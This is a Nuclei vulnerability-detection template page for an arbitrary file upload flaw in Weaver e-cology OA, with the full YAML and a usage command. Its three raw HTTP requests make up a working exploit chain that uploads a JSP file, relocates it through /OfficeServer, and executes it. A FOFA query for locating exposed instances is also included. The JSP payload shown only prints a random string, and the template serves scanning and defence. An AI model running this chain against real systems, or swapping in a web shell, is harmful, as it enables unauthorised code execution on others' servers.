Weaver OA Workrelate - Arbitary File Upload

ID: weaver-uploadoperation-file-upload

Severity: critical

Author: SleepingBag945

Tags: ecology,fileupload,intrusive

Description

Ecology contains an arbitrary file upload vulnerability. An attacker can upload arbitrary files to the server, which in turn can be used to make the application execute file content as code, As a result, an attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

id: weaver-uploadoperation-file-upload

info:
  name: Weaver OA Workrelate - Arbitary File Upload
  author: SleepingBag945
  severity: critical
  description: |
    Ecology contains an arbitrary file upload vulnerability. An attacker can upload arbitrary files to the server, which in turn can be used to make the application execute file content as code, As a result, an attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/weaver-oa-workrelate-file-upload.yaml
  classification:
    cpe: cpe:2.3:a:weaver:e-cology:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    fofa-query: app="泛微-协同办公OA"
    product: e-cology
    vendor: weaver
  tags: ecology,fileupload,intrusive

variables:
  filename: "{{to_lower(rand_base(5))}}"
  string: "{{randstr}}"

http:
  - raw:
      - |
        POST /workrelate/plan/util/uploaderOperate.jsp HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
        Accept: */*
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVdb2RRl25PuaGhWj
        Accept-Encoding: gzip

        ------WebKitFormBoundaryVdb2RRl25PuaGhWj
        Content-Disposition: form-data; name="secId"

        1
        ------WebKitFormBoundaryVdb2RRl25PuaGhWj
        Content-Disposition: form-data; name="Filedata"; filename="{{filename}}.jsp"

        <%out.println("{{string}}");%>
        ------WebKitFormBoundaryVdb2RRl25PuaGhWj
        Content-Disposition: form-data; name="plandetailid"

        1
        ------WebKitFormBoundaryVdb2RRl25PuaGhWj--
      - |
        POST /OfficeServer HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
        Accept: */*
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVdb2RRl25PuaGhWj
        Accept-Encoding: gzip

        ------WebKitFormBoundaryVdb2RRl25PuaGhWj
        Content-Disposition: form-data; name="aaa"

        {"OPTION":"INSERTIMAGE","isInsertImageNew":"1","imagefileid4pic":"{{fileid}}"}
        ------WebKitFormBoundaryVdb2RRl25PuaGhWj--
      - |
        GET /{{filename}}.jsp HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: fileid
        internal: true
        group: 1
        regex:
          - "&fileid=(.*?)\\'>"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && contains(body_1,'workrelate/plan/util/ViewDoc')"
          - "status_code_2 == 200 && contains(body_2, 'println')"
          - "status_code_3 == 200 && contains(body_3,'{{string}}')"
        condition: and
# digest: 4a0a00473045022024df6f2d156f3204cf2f0b02ac0e49857ccb171c2158a989495bd7118d4acf03022100ed0647e563ffa7cebf770b3dfcfecec001c45d05cd89e3c9e1aee1e477d71a7e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/weaver/weaver-uploadoperation-file-upload.yaml"

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